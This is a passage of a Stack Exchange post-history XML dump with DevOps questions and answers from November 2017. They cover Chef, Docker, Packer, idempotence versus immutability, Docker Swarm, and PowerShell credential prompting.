  <row Id="7745" PostHistoryTypeId="24" PostId="1513" RevisionGUID="ef13b316-9054-4c3f-87b3-0f3582d5982d" CreationDate="2017-11-02T06:31:01.213" Comment="Proposed by 4995 approved by 40, 707 edit id of 519" ContentLicense="CC BY-SA 3.0" />
  <row Id="7746" PostHistoryTypeId="2" PostId="2481" RevisionGUID="4af26be7-4b82-4727-9073-81f299176eb8" CreationDate="2017-11-02T08:09:00.853" UserId="4998" Text="I am looking for best tool that, does below jobs for deployment.&#xD;&#xA;&#xD;&#xA;**Configuration:**&#xD;&#xA;&#xD;&#xA;1) Configuration of deployment node machines in specific environment&#xD;&#xA;&#xD;&#xA;2) Configure no of service instances to be alive in environment at all time&#xD;&#xA;&#xD;&#xA;**Deployment:**&#xD;&#xA;&#xD;&#xA;Now, Just doing above configuration. When I trigger deployment of N services. It will randomly pick up nodes from deployment environments and will start total N services.&#xD;&#xA;&#xD;&#xA;**Multiple Services:**&#xD;&#xA;&#xD;&#xA;If I have 2 nodes and I want to bring up 4 services, it should bring up 2 services on each node.&#xD;&#xA;&#xD;&#xA;**Service Failure recovery:**&#xD;&#xA;&#xD;&#xA;If any machine goes down or any service goes down in any node. It will bring up a new service in any of environment node." ContentLicense="CC BY-SA 3.0" />
  <row Id="7747" PostHistoryTypeId="1" PostId="2481" RevisionGUID="4af26be7-4b82-4727-9073-81f299176eb8" CreationDate="2017-11-02T08:09:00.853" UserId="4998" Text="Chef Provisioning for canary deployment and orchestration" ContentLicense="CC BY-SA 3.0" />
  <row Id="7748" PostHistoryTypeId="3" PostId="2481" RevisionGUID="4af26be7-4b82-4727-9073-81f299176eb8" CreationDate="2017-11-02T08:09:00.853" UserId="4998" Text="&lt;chef&gt;&lt;orchestration&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="7749" PostHistoryTypeId="5" PostId="2090" RevisionGUID="b8ad84d9-9665-4e53-b7b5-e184d9dd1b18" CreationDate="2017-11-02T09:44:35.880" UserId="13" Comment="deleted 1 character in body" Text="PHP with nginx is usually done using php-fpm which is a separate processus.&#xD;&#xA;&#xD;&#xA;Keeping the core idea of docker of one process per container this makes sense to have the nginx process and php-fpm process in separate containers.&#xD;&#xA;&#xD;&#xA;As the communication between nginx and php-fpm arise through fastcgi the php-fpm container can also be on a separated host and this allows using a cluster of php-fpm containers behind nginx.&#xD;&#xA;&#xD;&#xA;After the wall of comment here's a little more background, docker documentation have paragraph about the idea that [a container should have only one concern](https://docs.docker.com/engine/userguide/eng-image/dockerfile_best-practices/#each-container-should-have-only-one-concern).&#xD;&#xA;&#xD;&#xA;The main idea of a linux container (**lxc**) is to run a process in an isolated namespace at the cpu and memory level, docker add on top of this an isolation at the filesystem level.  &#xD;&#xA;The advantage is that the compromission of a process within this namespace won't allow to read memory of other processes and as such should prevent other compromission on the host.&#xD;&#xA;&#xD;&#xA;While talking about nginx and php-fpm, they work in pair but each has it's own concern, nginx will do the HTTP part, routing, headers validation, etc. and php-fpm will do the code interpretation and return the html part to nginx. While it's usual to have both together serving a single application that's not mandatory.&#xD;&#xA;&#xD;&#xA;Depending on context it may be easier to have a container including the whole stack for an application, on a developer workstation for exemple. But ideally for production use, try to keep the fewer interaction inside the container, having separated processes in the same container with supervisord brings its share of problem in term of zombie process and log handling (exemple story [here](https://www.google.fr/url?sa=t&amp;rct=j&amp;q=&amp;esrc=s&amp;source=web&amp;cd=1&amp;cad=rja&amp;uact=8&amp;ved=0ahUKEwi6u6DSsbjWAhVmqFQKHcGjBXwQFggnMAA&amp;url=https%3A%2F%2Fblog.deimos.fr%2F2016%2F01%2F13%2Fdocker-why-you-should-use-monit-instead-of-supervisord%2F&amp;usg=AFQjCNGSFNEpM5C7dTlLQ1czMyW89FFepw) for illustration purpose only).&#xD;&#xA;&#xD;&#xA;So finally I'll quote the docker page with some emphasis:&#xD;&#xA;&#xD;&#xA;&gt; While “one process per container” is frequently a good rule of thumb, it is not a hard and fast rule. **Use your best judgment to keep containers as clean and modular as possible**.&#xD;&#xA;&#xD;&#xA;There's no &quot;silver bullet rule&quot; which apply to everything, it's always a balance between the complexity within the container and the complexity orchestrating the containers themselves." ContentLicense="CC BY-SA 3.0" />
  <row Id="7750" PostHistoryTypeId="5" PostId="1761" RevisionGUID="e885839e-36bc-4d92-b042-1bc2edd04ad0" CreationDate="2017-11-02T12:57:41.270" UserId="3939" Comment="deleted 4 characters in body" Text="Autoscaling has nothing to do with NixOS or Docker. This is just the feature of cloud backed applications.&#xD;&#xA;&#xD;&#xA;However it is true that the best results are achievable using immutable infrastructure, but you do not need neither of these tools to achieve such. Instead you can build your own AMI (using Packer) and then use AWS CodeDeploy to deploy your application on each of the instances.&#xD;&#xA;&#xD;&#xA;These tools are orthogonal, so you can use them, but there is no problem with using autoscaling without them." ContentLicense="CC BY-SA 3.0" />
  <row Id="7751" PostHistoryTypeId="5" PostId="2481" RevisionGUID="9e460f5a-bb24-4389-a9b6-2a1c2cb31b2c" CreationDate="2017-11-02T13:14:43.707" UserId="4998" Comment="Added application scenario" Text="I am looking for best tool that, does below jobs for deployment.&#xD;&#xA;&#xD;&#xA;**Configuration:**&#xD;&#xA;&#xD;&#xA;1) Configuration of deployment node machines in specific environment&#xD;&#xA;&#xD;&#xA;2) Configure no of service instances to be alive in environment at all time&#xD;&#xA;&#xD;&#xA;**Deployment:**&#xD;&#xA;&#xD;&#xA;Now, Just doing above configuration. When I trigger deployment of N services. It will randomly pick up nodes from deployment environments and will start total N services.&#xD;&#xA;&#xD;&#xA;**Multiple Services:**&#xD;&#xA;&#xD;&#xA;If I have 2 nodes and I want to bring up 4 services, it should bring up 2 services on each node.&#xD;&#xA;&#xD;&#xA;**Service Failure recovery:**&#xD;&#xA;&#xD;&#xA;If any machine goes down or any service goes down in any node. It will bring up a new service in any of environment node.&#xD;&#xA;&#xD;&#xA;**Scenario to handle:**&#xD;&#xA;&#xD;&#xA;Choosing nodes at random used in distributed system with system discovery/failure.&#xD;&#xA;&#xD;&#xA;**1) Service deployment :**&#xD;&#xA;&#xD;&#xA;I required 2 services of calculator, and other services as well. And I have total 4 machines. Now 2 calculator services will be deployed in any node. &#xD;&#xA;&#xD;&#xA;**2) Service discovery/failure:** &#xD;&#xA;&#xD;&#xA;These 2 calculator services will be registered with service registry. Now my application will query to service registry, and service registry will provide node details with service running. Same in failure case, service will be started in any node, and discovered by application through service registry." ContentLicense="CC BY-SA 3.0" />
  <row Id="7752" PostHistoryTypeId="2" PostId="2482" RevisionGUID="9445b617-83f5-4f83-a25e-dd52fc242d62" CreationDate="2017-11-02T13:58:19.233" UserId="4928" Text="I am looking various language translation apps and services for a portal application. I am aware of Google's Cloud Translation API and their pricing structure. However, someone mentioned to me that it is possible to implement the free, open-source website version of Google translate into my app. If this is true, what is someone paying for when he purchases Cloud Translation API? What makes Cloud Trans worth more than its free counterpart? " ContentLicense="CC BY-SA 3.0" />
  <row Id="7753" PostHistoryTypeId="1" PostId="2482" RevisionGUID="9445b617-83f5-4f83-a25e-dd52fc242d62" CreationDate="2017-11-02T13:58:19.233" UserId="4928" Text="What can Cloud Translation API do that the free version of Google translate cannot do?" ContentLicense="CC BY-SA 3.0" />
  <row Id="7754" PostHistoryTypeId="3" PostId="2482" RevisionGUID="9445b617-83f5-4f83-a25e-dd52fc242d62" CreationDate="2017-11-02T13:58:19.233" UserId="4928" Text="&lt;google-cloud-platform&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="7755" PostHistoryTypeId="2" PostId="2483" RevisionGUID="cdaebecb-4613-4cbe-8953-86004bd1a41b" CreationDate="2017-11-02T14:48:33.427" UserId="5003" Text="I'm pretty new to Docker and configuration management tools. &#xD;&#xA;&#xD;&#xA;At first I started writing bash scripts to provision my Vagrant boxes for my development machines, but now I've switched to using Chef for that so that I can use the same source to provision both development and production environments to try and get them as similar as possible.&#xD;&#xA;&#xD;&#xA;Since I've started using Chef I've come to enjoy the DRY aspect of not having to copy and paste shell script lines from project to project, the ability to provision machines running a variety of linux distributions using one consolidated source, and the convenience of using community provided cookbooks.&#xD;&#xA;&#xD;&#xA;Now that I've been using Chef to provision my vm's it feels like taking a step backwards when I am adding RUN commands followed by shell commands to a Dockerfile to achieve what could be achieved by just running a Chef recipe.&#xD;&#xA;&#xD;&#xA;I've googled and haven't found anything (but maybe I just missed it) but it doesn't look like there is an easy way to use Chef recipes to build Docker containers. Why is that?&#xD;&#xA;&#xD;&#xA;I understand that containers are meant to be immutable and configuration management tools are commonly used to re-configure machines during their entire lifespan, but wouldn't they still offer a lot of benefits if used during the initial building of the container?" ContentLicense="CC BY-SA 3.0" />
  <row Id="7756" PostHistoryTypeId="1" PostId="2483" RevisionGUID="cdaebecb-4613-4cbe-8953-86004bd1a41b" CreationDate="2017-11-02T14:48:33.427" UserId="5003" Text="Why not use configuration management tool instead of Dockerfile?" ContentLicense="CC BY-SA 3.0" />
  <row Id="7757" PostHistoryTypeId="3" PostId="2483" RevisionGUID="cdaebecb-4613-4cbe-8953-86004bd1a41b" CreationDate="2017-11-02T14:48:33.427" UserId="5003" Text="&lt;docker&gt;&lt;chef&gt;&lt;configuration-management&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="7758" PostHistoryTypeId="2" PostId="2484" RevisionGUID="fed2da85-394f-4102-9c13-25ed241c8a45" CreationDate="2017-11-02T15:07:39.647" UserId="2845" Text="Many in the DevOps apply the [cattle-not-pets](https://devops.stackexchange.com/questions/653/what-is-the-definition-of-cattle-not-pets) mentality by implementing [immutable infrastructure](https://devops.stackexchange.com/questions/109/what-role-do-configuration-managment-tools-play-in-immutable-infrastructure) and redeploying when changes are needed (instead of modifying).&#xD;&#xA;&#xD;&#xA;Configuration management has a *similar* principle of [idempotence](https://puppet.com/blog/idempotence-not-just-a-big-and-scary-word). What are the comparative benefits, similarities and drawbacks of immutability vs. impotence and which is more efficient? Can these be used synergisticly (eg, periodic deletion and redeployment of VMs or Docker containers using configuration management?)" ContentLicense="CC BY-SA 3.0" />
  <row Id="7759" PostHistoryTypeId="1" PostId="2484" RevisionGUID="fed2da85-394f-4102-9c13-25ed241c8a45" CreationDate="2017-11-02T15:07:39.647" UserId="2845" Text="A comparison of idempotence and immutability" ContentLicense="CC BY-SA 3.0" />
  <row Id="7760" PostHistoryTypeId="3" PostId="2484" RevisionGUID="fed2da85-394f-4102-9c13-25ed241c8a45" CreationDate="2017-11-02T15:07:39.647" UserId="2845" Text="&lt;configuration-management&gt;&lt;immutable-servers&gt;&lt;cattle-vs-pet&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="7762" PostHistoryTypeId="5" PostId="2432" RevisionGUID="e7fcb6d9-40cd-4466-83c1-24f32a931073" CreationDate="2017-11-02T15:23:01.543" UserId="47" Comment="fixed typo" Text="It looks like there may have been at one time a version of Google translate called &quot;Business&quot; that did not employ the free API used by the version that comes up in my browser. If there is, how can I get more information about it (I've already googled it and cannot find anything)? If not, is there some kind of replacement that can be used in its stead?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;My apologies if this is not the appropriate SE forum for this question.&#xD;&#xA;&#xD;&#xA;Thanks." ContentLicense="CC BY-SA 3.0" />
  <row Id="7763" PostHistoryTypeId="2" PostId="2485" RevisionGUID="3eb96382-0ef1-4415-af62-0889cabff3bd" CreationDate="2017-11-02T16:58:08.153" UserId="6" Text="The two terms are very different.&#xD;&#xA;&#xD;&#xA;Let us start with `immutability`, which literally means &quot;no mutations&quot; or &quot;no changes&quot;. In the DevOps sense, it means that once you created an artifact, be that a container image, or a VM image, or maybe a package from compiled code - you declare that you will never ever change it. Often if any changes are required, you declare that a new version of &quot;thing&quot; will be created instead.&#xD;&#xA;&#xD;&#xA;The term `idempotence` means that when changes are applied multiple times, the state is not changed. First, it already assumes that there are going to be changes applied which means that you cannot have something both immutable and have idempotent actions done to it (no actions are done to it by contract).&#xD;&#xA;&#xD;&#xA;In the use of configuration management tools, `idempotence` is used in some cases when applying the same change multiple times. Like adding the line that says `localhost` to the `/etc/hosts` file, you don't really need multiple such lines and if one already exists it is safe to not try to append again. &#xD;&#xA;&#xD;&#xA;Also `idempotent` is a term used to describe _actions_ that attempt to change things, while `immutable` is used to describe _nouns_ (objects) that are set against changes done to them.&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="7764" PostHistoryTypeId="5" PostId="2485" RevisionGUID="ae4cfc5e-fa7d-4552-b9e3-60f5bdd84826" CreationDate="2017-11-02T17:05:41.083" UserId="6" Comment="explain where immutable and idempotent are used" Text="The two terms are very different.&#xD;&#xA;&#xD;&#xA;Let us start with `immutability`, which literally means &quot;no mutations&quot; or &quot;no changes&quot;. In the DevOps sense, it means that once you created an artifact, be that a container image, or a VM image, or maybe a package from compiled code - you declare that you will never ever change it. Often if any changes are required, you declare that a new version of &quot;thing&quot; will be created instead.&#xD;&#xA;&#xD;&#xA;The term `idempotence` means that when changes are applied multiple times, the state is not changed. First, it already assumes that there are going to be changes applied which means that you cannot have something both immutable and have idempotent actions done to it (no actions are done to it by contract).&#xD;&#xA;&#xD;&#xA;In the use of configuration management tools, `idempotence` is used in some cases when applying the same change multiple times. Like adding the line that says `localhost` to the `/etc/hosts` file, you don't really need multiple such lines and if one already exists it is safe to not try to append again. &#xD;&#xA;&#xD;&#xA;Also `idempotent` is a term used to describe _actions_ that attempt to change things, while `immutable` is used to describe _nouns_ (objects) that are set against changes done to them.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;Why is an `immutable` object useful? Because when you copy it around, for example from a dev environment to qa to production. You already know quite a lot (but not everything) regarding how it is going to behave. In many cases, the parts that are working will be consistent, and the parts that are broken are going to be consistent as well.&#xD;&#xA;&#xD;&#xA;Why are `idempotent` actions useful? Because when you want to change a state of some object, in many cases it is useful to only verify that the change has been applied and apply changes just in case it is required. For example, when a configuration item in a file is missing or has the wrong value, it is useful to add it just once or change it just once while applying the action multiple times. In many other cases, like _log files_, you don't want to have idempotent actions because you often do want to append another line each time some event happens." ContentLicense="CC BY-SA 3.0" />
  <row Id="7765" PostHistoryTypeId="2" PostId="2486" RevisionGUID="01850ca3-0976-41b8-af26-12a19c21a262" CreationDate="2017-11-02T17:28:30.560" UserId="786" Text="The tool you need is [Packer][1] using Docker as the &quot;builder&quot; and Chef as the &quot;provisioner&quot;.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.packer.io/docs/builders/docker.html" ContentLicense="CC BY-SA 3.0" />
  <row Id="7766" PostHistoryTypeId="2" PostId="2487" RevisionGUID="4c2b2f94-0528-40e9-9766-9f253bd666df" CreationDate="2017-11-02T17:50:59.190" UserId="445" Text="These strategies have nothing to do with one another.&#xD;&#xA;&#xD;&#xA;*Containers* (like Docker) are a methodology for deploying and isolating applications. Containers are well liked because they're transportable. They can be developed on and previewed locally in most cases, so putting applications in them makes sense.&#xD;&#xA;&#xD;&#xA;*As for why Docker uses shell scripting*: A docker image is literally a linux container image. It's a linux operating system and the point of that container to be as lightweight and efficient as possible. If you started adding Chef, Ruby, Erlang, and all the other libraries required to have Chef as a provisioner on a Dockerfile you'd be eliminating the point of using containers.&#xD;&#xA;&#xD;&#xA;*Configuration Management* is for provisioning a compute node. Your configuration end state is usually reflected in code and has a central server for maintaining state. Tools like vagrant allow you to use chef to configure Vagrant machines, largely out of convenience for developers.&#xD;&#xA;&#xD;&#xA;Bash is not inherently a step back. For instance, many organizations building *fully immutable image pipelines* build their images using Bash. This ensures stability and predictability as well as a common language among engineers (Many engineers may come from different config management backgrounds).&#xD;&#xA;&#xD;&#xA;**Immutable vs Config Management**.&#xD;&#xA;Immutable infrastructure does not change and must be entirely replaced in order to be updated. Config Management implies that the state of a machine is maintained by an agent or foreign connection (like with Ansible).&#xD;&#xA;&#xD;&#xA;Docker containers are inherently immutable. You don't persist data on them and they must be rolled in order to be updated." ContentLicense="CC BY-SA 3.0" />
  <row Id="7767" PostHistoryTypeId="5" PostId="2487" RevisionGUID="29eb8185-8579-4ab4-9aa8-c08815aa25c9" CreationDate="2017-11-02T17:58:05.207" UserId="445" Comment="added 218 characters in body" Text="These strategies have nothing to do with one another.&#xD;&#xA;&#xD;&#xA;*Containers* (like Docker) are a methodology for deploying and isolating applications. Containers are well liked because they're transportable. They can be developed on and previewed locally in most cases, so putting applications in them makes sense.&#xD;&#xA;&#xD;&#xA;*As for why Docker uses shell scripting*: A docker image is literally a linux container image. It's a linux operating system and the point of that container to be as lightweight and efficient as possible. If you started adding Chef, Ruby, Erlang, and all the other libraries required to have Chef as a provisioner on a Dockerfile you'd be eliminating the point of using containers.&#xD;&#xA;&#xD;&#xA;*Configuration Management* is for provisioning a compute node. Your configuration end state is usually reflected in code and has a central server for maintaining state. Tools like vagrant allow you to use chef to configure Vagrant machines, largely out of convenience for developers. While you can use most of these tools in a *local-only* mode, the maintenance of them becomes quite burdensome. Those central servers are for things like automatically sorting out versioning and dependency management.&#xD;&#xA;&#xD;&#xA;Bash is not inherently a step back. For instance, many organizations building *fully immutable image pipelines* build their images using Bash. This ensures stability and predictability as well as a common language among engineers (Many engineers may come from different config management backgrounds).&#xD;&#xA;&#xD;&#xA;**Immutable vs Config Management**.&#xD;&#xA;Immutable infrastructure does not change and must be entirely replaced in order to be updated. Config Management implies that the state of a machine is maintained by an agent or foreign connection (like with Ansible).&#xD;&#xA;&#xD;&#xA;Docker containers are inherently immutable. You don't persist data on them and they must be rolled in order to be updated." ContentLicense="CC BY-SA 3.0" />
  <row Id="7768" PostHistoryTypeId="2" PostId="2488" RevisionGUID="a3755c8e-6d02-4335-93c4-c03664940655" CreationDate="2017-11-02T18:38:57.263" UserId="5006" Text="Where are the travis-ci servers located?  Does travis-ci leverage AWS EC2?" ContentLicense="CC BY-SA 3.0" />
  <row Id="7769" PostHistoryTypeId="1" PostId="2488" RevisionGUID="a3755c8e-6d02-4335-93c4-c03664940655" CreationDate="2017-11-02T18:38:57.263" UserId="5006" Text="Geographically, where are the travis-ci jobs run?" ContentLicense="CC BY-SA 3.0" />
  <row Id="7770" PostHistoryTypeId="3" PostId="2488" RevisionGUID="a3755c8e-6d02-4335-93c4-c03664940655" CreationDate="2017-11-02T18:38:57.263" UserId="5006" Text="&lt;continuous-integration&gt;&lt;continuous-delivery&gt;&lt;travis-ci&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="7772" PostHistoryTypeId="5" PostId="2486" RevisionGUID="4cfb490f-db17-44ff-b38d-041934b05e98" CreationDate="2017-11-02T18:49:01.077" UserId="786" Comment="added 121 characters in body" Text="The tool you need is [Packer][1] using Docker as the &quot;builder&quot; and Chef as the &quot;provisioner&quot;. Then you can add the resulting image to your repo and reuse it without having to pack again, until your recipes change. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.packer.io/docs/builders/docker.html" ContentLicense="CC BY-SA 3.0" />
  <row Id="7773" PostHistoryTypeId="50" PostId="1401" RevisionGUID="068a3d00-fa43-4ce9-ab66-e2449244b038" CreationDate="2017-11-02T19:17:03.393" UserId="-1" />
  <row Id="7774" PostHistoryTypeId="2" PostId="2490" RevisionGUID="1f5af6d2-18d3-4fd5-b847-1501bededbe9" CreationDate="2017-11-02T20:59:04.363" UserId="4126" Text="Say I have several docker services using swarm defined as such:&#xD;&#xA;&#xD;&#xA;    version : '3'&#xD;&#xA;    services:&#xD;&#xA;        server:&#xD;&#xA;            image : my_server:latest&#xD;&#xA;            deploy: &#xD;&#xA;                replicas: 5&#xD;&#xA;                restart_policy: any&#xD;&#xA;        databse:&#xD;&#xA;            image : my_db:latest&#xD;&#xA;            deploy: &#xD;&#xA;                replicas: 5&#xD;&#xA;                restart_policy: any&#xD;&#xA;        logs:&#xD;&#xA;            image : my_logs:latest&#xD;&#xA;            deploy: &#xD;&#xA;                replicas: 1&#xD;&#xA;                restart_policy: any&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I then deploy this as a docker-stack as such. The services are **server**, **database** and **logs**. I make great use of the network abstractions provided by docker swarm, but my failure-case is a bit undockerish.&#xD;&#xA;&#xD;&#xA;*In this case when all containers in **database** fail, then I want the *entire* stack to be shutdown or otherwise made unavailable*. Is there any built-in way to accomplish this task? Does the concept of a stack exist in a way for the individual services to access?&#xD;&#xA;&#xD;&#xA;This question can be alternatively answered with a generalization : &quot;How, with built-in docker features, can I be made aware of container failure&quot;? Because I'm assuming there is no way to do exactly what I am asking." ContentLicense="CC BY-SA 3.0" />
  <row Id="7775" PostHistoryTypeId="1" PostId="2490" RevisionGUID="1f5af6d2-18d3-4fd5-b847-1501bededbe9" CreationDate="2017-11-02T20:59:04.363" UserId="4126" Text="How to Shutdown Docker Service on Container Failure" ContentLicense="CC BY-SA 3.0" />
  <row Id="7776" PostHistoryTypeId="3" PostId="2490" RevisionGUID="1f5af6d2-18d3-4fd5-b847-1501bededbe9" CreationDate="2017-11-02T20:59:04.363" UserId="4126" Text="&lt;docker&gt;&lt;docker-compose&gt;&lt;docker-swarm&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="7777" PostHistoryTypeId="4" PostId="2490" RevisionGUID="cc982e57-161c-4dc7-889d-a8499b6bffb6" CreationDate="2017-11-02T21:28:44.627" UserId="4126" Comment="edited title" Text="How to Shutdown Docker Stack on Container Failure" ContentLicense="CC BY-SA 3.0" />
  <row Id="7778" PostHistoryTypeId="2" PostId="2491" RevisionGUID="6b314e15-838b-45e5-b68c-89706985e78e" CreationDate="2017-11-02T22:07:29.030" UserId="5009" Text="I've created a number of scripts in powershell that require a number of parameters to be manually entered.&#xA;&#xA;Unfortunately, until we have our Jenkins server setup to support these additional tasks I need to pass these scripts to other technicians.&#xA;&#xA;Ideally I would like an application that could accept the parameters via predetermined fields and dropdown menus then run the appropriate script.&#xA;&#xA;Is there anything already available that would fulfill that need or will I need to knock something up myself?&#xA;&#xA;Thanks" ContentLicense="CC BY-SA 3.0" />
  <row Id="7779" PostHistoryTypeId="1" PostId="2491" RevisionGUID="6b314e15-838b-45e5-b68c-89706985e78e" CreationDate="2017-11-02T22:07:29.030" UserId="5009" Text="Application to run powershell scripts" ContentLicense="CC BY-SA 3.0" />
  <row Id="7780" PostHistoryTypeId="3" PostId="2491" RevisionGUID="6b314e15-838b-45e5-b68c-89706985e78e" CreationDate="2017-11-02T22:07:29.030" UserId="5009" Text="&lt;automation&gt;&lt;powershell&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="7781" PostHistoryTypeId="2" PostId="2492" RevisionGUID="592c5eeb-cf78-4609-aaa6-8c4a96681d84" CreationDate="2017-11-03T01:18:24.333" UserDisplayName="user5010" Text="I am by no means an expert but there is an alternative to creating a script containing 'plain text' passwords, which obviously isn't very secure.&#xD;&#xA;&#xD;&#xA;I have written the following code snippet based on this article [Who Are You? Or, Slipping By the Get-Credential Cmdlet][1] by [Jeff Hicks][2] and now use this in order to automate a remote session.&#xD;&#xA;&#xD;&#xA;    # Create a secure string for the password&#xD;&#xA;    $Username = Read-Host &quot;Enter Username&quot;&#xD;&#xA;    $Password = Read-Host &quot;Enter Password&quot; -AsSecureString&#xD;&#xA;    &#xD;&#xA;    # Create the PSCredential object&#xD;&#xA;    $Credentials = New-Object System.Management.Automation.PSCredential($Username,$Password)&#xD;&#xA;    &#xD;&#xA;    # Server Variable&#xD;&#xA;    $Server = Read-Host &quot;Enter Server Name&quot;&#xD;&#xA;    &#xD;&#xA;    # Create Remote Session&#xD;&#xA;    Enter-PSSession -ComputerName $Server -Credential $Credentials&#xD;&#xA;    &#xD;&#xA;&#xD;&#xA;When running this code, you will get the following output:-&#xD;&#xA;&#xD;&#xA;    PS Scripts:\&gt; .\Snippets\Enter-SecureCreds.ps1&#xD;&#xA;    Enter Username: ##YOUR-USERNAME#&#xD;&#xA;    Enter Password: *************&#xD;&#xA;    Enter Server Name: 192.168.1.10&#xD;&#xA;&#xD;&#xA;Password is obfuscated with * when entered.&#xD;&#xA;&#xD;&#xA;As advised in Jeff's article&#xD;&#xA;&#xD;&#xA;&gt; This credential only exists for as long as your PowerShell session is&#xD;&#xA;&gt; open. But be careful, because even though the password is stored as a&#xD;&#xA;&gt; secure string, if I have interactive access to the console session, I&#xD;&#xA;&gt; can still see the password by invoking the GetNetworkCredential()&#xD;&#xA;&gt; method:&#xD;&#xA;&#xD;&#xA;    PS S:\&gt; $Credential.GetNetworkCredential()&#xD;&#xA;    &#xD;&#xA;    UserName          Password          Domain&#xD;&#xA;    --------          --------          ------ &#xD;&#xA;    admin             P@ssw0rd          mydomain&#xD;&#xA;&#xD;&#xA;&gt; This isn't necessarily a security violation, unless you walk away and&#xD;&#xA;&gt; leave your session wide open for anyone to access. There may also be&#xD;&#xA;&gt; situations where you have a legacy application that can't use a&#xD;&#xA;&gt; PSCredential and you need to pass values like username and password to&#xD;&#xA;&gt; it. Just be aware.&#xD;&#xA;&gt; &#xD;&#xA;&gt; IMPORTANT: It is a security no-no to hard-code any password in any&#xD;&#xA;&gt; plain text file. Ideally, you'll want to provide some secure mechanism&#xD;&#xA;&gt; for the script user to provide the necessary password. Also, don't&#xD;&#xA;&gt; forget to secure your console if you are keeping the credential&#xD;&#xA;&gt; object.&#xD;&#xA;&#xD;&#xA;I hope you find this as useful as I have.&#xD;&#xA;&#xD;&#xA;  [1]: https://mcpmag.com/articles/2011/09/06/powershell-get-credential-cmdlet.aspx&#xD;&#xA;  [2]: https://plus.google.com/u/0/+JefferyHicks&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="7782" PostHistoryTypeId="5" PostId="2490" RevisionGUID="3b402b1c-b481-4d7c-88bf-1d82bfcc5bd1" CreationDate="2017-11-03T01:44:01.077" UserId="4126" Comment="spelling corrections" Text="Say I have several docker services using swarm defined as such:&#xD;&#xA;&#xD;&#xA;    version : '3'&#xD;&#xA;    services:&#xD;&#xA;        server:&#xD;&#xA;            image : my_server:latest&#xD;&#xA;            deploy: &#xD;&#xA;                replicas: 5&#xD;&#xA;                restart_policy: any&#xD;&#xA;        database:&#xD;&#xA;            image : my_db:latest&#xD;&#xA;            deploy: &#xD;&#xA;                replicas: 5&#xD;&#xA;                restart_policy: any&#xD;&#xA;        logs:&#xD;&#xA;            image : my_logger:latest&#xD;&#xA;            deploy: &#xD;&#xA;                replicas: 1&#xD;&#xA;                restart_policy: any&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I then deploy this as a docker-stack as such. The services are **server**, **database** and **logs**. I make great use of the network abstractions provided by docker swarm, but my failure-case is a bit undockerish.&#xD;&#xA;&#xD;&#xA;*In this case when all containers in **database** fail, then I want the *entire* stack to be shutdown or otherwise made unavailable*. Is there any built-in way to accomplish this task? Does the concept of a stack exist in a way for the individual services to access?&#xD;&#xA;&#xD;&#xA;This question can be alternatively answered with a generalization : &quot;How, with built-in docker features, can I be made aware of container failure&quot;? Because I'm assuming there is no way to do exactly what I am asking." ContentLicense="CC BY-SA 3.0" />
  <row Id="7783" PostHistoryTypeId="2" PostId="2493" RevisionGUID="9e872197-c120-4abf-8e9e-5d025971e3f8" CreationDate="2017-11-03T07:04:39.187" UserId="5013" Text="# Question&#xD;&#xA;&#xD;&#xA;What is **spell** of conjure-up in Kubernetes?&#xD;&#xA;&#xD;&#xA;## Background &#xD;&#xA;&#xD;&#xA;Following [Kubernetes on Ubuntu][1] and run ***conjure-up kubernetes*** which showed the snapshot asking which spell to choose. But not sure what this is asking. &#xD;&#xA;&#xD;&#xA;[![enter image description here][4]][4]&#xD;&#xA;&#xD;&#xA;[Spell selection][2] in [Conjure-up documentation][3] tells spells and selections but not clear what they are still, hence look for some explanation and suggestion on which one to select (core or canonical) and what they are.&#xD;&#xA;&#xD;&#xA;  [1]: https://kubernetes.io/docs/getting-started-guides/ubuntu/&#xD;&#xA;  [2]: https://docs.ubuntu.com/conjure-up/2.2.0/en/walkthrough#spell-selection&#xD;&#xA;  [3]: https://docs.ubuntu.com/conjure-up/2.2.0/en/&#xD;&#xA;  [4]: https://i.stack.imgur.com/8Jo8q.png" ContentLicense="CC BY-SA 3.0" />
  <row Id="7784" PostHistoryTypeId="1" PostId="2493" RevisionGUID="9e872197-c120-4abf-8e9e-5d025971e3f8" CreationDate="2017-11-03T07:04:39.187" UserId="5013" Text="What are spells of Kubernetes?" ContentLicense="CC BY-SA 3.0" />
  <row Id="7785" PostHistoryTypeId="3" PostId="2493" RevisionGUID="9e872197-c120-4abf-8e9e-5d025971e3f8" CreationDate="2017-11-03T07:04:39.187" UserId="5013" Text="&lt;kubernetes&gt;&lt;installation&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="7786" PostHistoryTypeId="2" PostId="2494" RevisionGUID="dcfa350c-cb6c-4144-bb30-a0dd082d2418" CreationDate="2017-11-03T12:31:13.050" UserId="4998" Text="**Start docker swarm :**&#xD;&#xA;docker swarm init --advertise-addr &lt;MANAGER-IP&gt;&#xD;&#xA;&#xD;&#xA;**Join docker swarm:**&#xD;&#xA;docker swarm join --token &lt;generated-tocken&gt; &lt;MANAGER-IP&gt;:2377&#xD;&#xA;&#xD;&#xA;I am using Windows 10,&#xD;&#xA;it is working fine with Windows container mode, but gives below error in Linux container mode.&#xD;&#xA;&#xD;&#xA;**Error:**&#xD;&#xA;&#xD;&#xA;Error response from daemon: remote CA does not match fingerprint. Expected: 91030413f17ec7c023a2a796ee05a024915080ca8dfd646a597c7e966f667df6&#xD;&#xA;&#xD;&#xA;**Docker swarm manager host command: docker node ls**&#xD;&#xA;&#xD;&#xA;    ID                            HOSTNAME            STATUS              AVAILABILITY        MANAGER STATUS&#xD;&#xA;    2zf1l2o7sl2a1qka55s2vi77x *   moby                Ready               Active              Leader&#xD;&#xA;&#xD;&#xA;Host name is **moby**, when running in 